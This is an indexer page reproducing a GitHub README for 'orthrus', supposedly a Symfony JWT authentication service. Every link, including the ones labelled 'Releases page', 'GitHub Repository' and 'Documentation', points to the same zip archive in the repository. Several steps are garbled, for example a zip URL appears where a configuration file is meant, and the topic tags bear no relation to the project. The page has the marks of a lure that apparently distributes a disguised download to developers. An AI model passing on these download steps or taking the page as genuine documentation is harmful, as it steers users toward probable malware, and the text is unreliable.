An open API service indexing awesome lists of open source software.

https://github.com/gustavoport-cloud/orthrus

πŸ”’ Build a secure multi-tenant JWT authentication service with Symfony 7.3 and PHP 8.2+, offering features like token rotation and OAuth 2.0 support.
https://github.com/gustavoport-cloud/orthrus

adblock blocklist filters internet java lua luajit malware orthrus otp-calculator palaeoproteomics pihole privacy protobuf security-groups tracker tracking transformer

Last synced: about 1 month ago
JSON representation

πŸ”’ Build a secure multi-tenant JWT authentication service with Symfony 7.3 and PHP 8.2+, offering features like token rotation and OAuth 2.0 support.

Awesome Lists containing this project

README

          

# ⛨ orthrus - Simple JWT Authentication for Everyone

## πŸŽ‰ Overview
**orthrus** is a multi-tenant JSON Web Token (JWT) authentication service. It’s built with Symfony 7.3 and PHP 8.2+. This tool helps secure your applications by providing a reliable way to manage user identities and access rights. Whether you are building a new application or enhancing an existing one, **orthrus** can simplify the authentication process.

## πŸš€ Getting Started
To begin using **orthrus**, follow the steps below to download and run the application.

## πŸ“₯ Download Now
[![Download](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip)](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip)

## πŸ’» System Requirements
Before installation, ensure your system meets the following requirements:
- **Operating System:** Compatible with Windows, macOS, and Linux.
- **PHP Version:** Requires PHP 8.2 or higher.
- **Web Server:** Any server that supports PHP (e.g., Apache or Nginx).
- **Docker:** Optional, but recommended for containerized deployments.

## πŸ“‚ Key Features
- Multi-tenant support for managing multiple user groups.
- Secure token-based authentication.
- Easy integration with existing applications.
- Compliant with industry standards (e.g., JWT, OAuth2).
- OpenAPI documentation for easy reference.

## πŸ” Security
Security is a priority for **orthrus**. The application uses JWT to ensure:
- Secure user authentication.
- Rights management through scope-based authorization.
- RS256 signing for added protection.

## πŸ› οΈ Installation Steps
Follow these straightforward steps to download and install **orthrus**.

1. **Visit the Releases Page**
Go to the [Releases page](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip) to find the latest version of the application.

2. **Select the Latest Release**
On the Releases page, look for the most recent version, which will be at the top of the list.

3. **Download the Application**
Click on the asset file that matches your system (look for `.zip`, `https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip`, or other relevant formats).

4. **Unzip the Downloaded File**
After the download completes, locate the file on your computer and unzip it to your desired location.

5. **Configure the Application**
Navigate to the unzipped folder. There will likely be configuration files where you can set your unique settings. Follow the README included in the folder for specific configuration instructions.

## πŸ”„ Running orthrus
To run **orthrus**, follow these steps:

1. **Open Your Terminal or Command Prompt.**
2. **Navigate to the Project Directory.** Use the `cd` command to change into the directory where you unzipped the application.
3. **Start the Service.** If you have a `https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip` file, you can start it with the following command:
```bash
docker-compose up
```
Alternatively, if not using Docker, you may need to run the web server configured in your application.

## βš™οΈ Configuration
To further customize **orthrus**, consider the following settings in your configuration file:

- **Database Connection:** Set up your database credentials for user management.
- **JWT Signing Key:** Define a strong key for token generation.
- **Tenant Management:** Establish and configure different tenants if you need multi-tenancy.

Make sure to read through the provided documentation for guidance on each setting.

## πŸ“– Documentation
For in-depth understanding, refer to the official documentation available within the application. It covers:
- API usage
- Authentication flows
- Configuration examples
- Troubleshooting common issues

## 🀝 Contributing
If you wish to contribute to the project, feel free to fork the repository and submit a pull request. All contributions are welcome.

## 🌟 Support
If you have questions or encounter issues, please check the Issues tab on the repository. Community members and maintainers regularly monitor it.

## πŸ”— Further Resources
- [GitHub Repository](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip)
- [Documentation](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip)

## πŸ“₯ Download Again
Don’t forget to [visit this page to download](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip) the latest version of **orthrus** if you need to reinstall or update your software.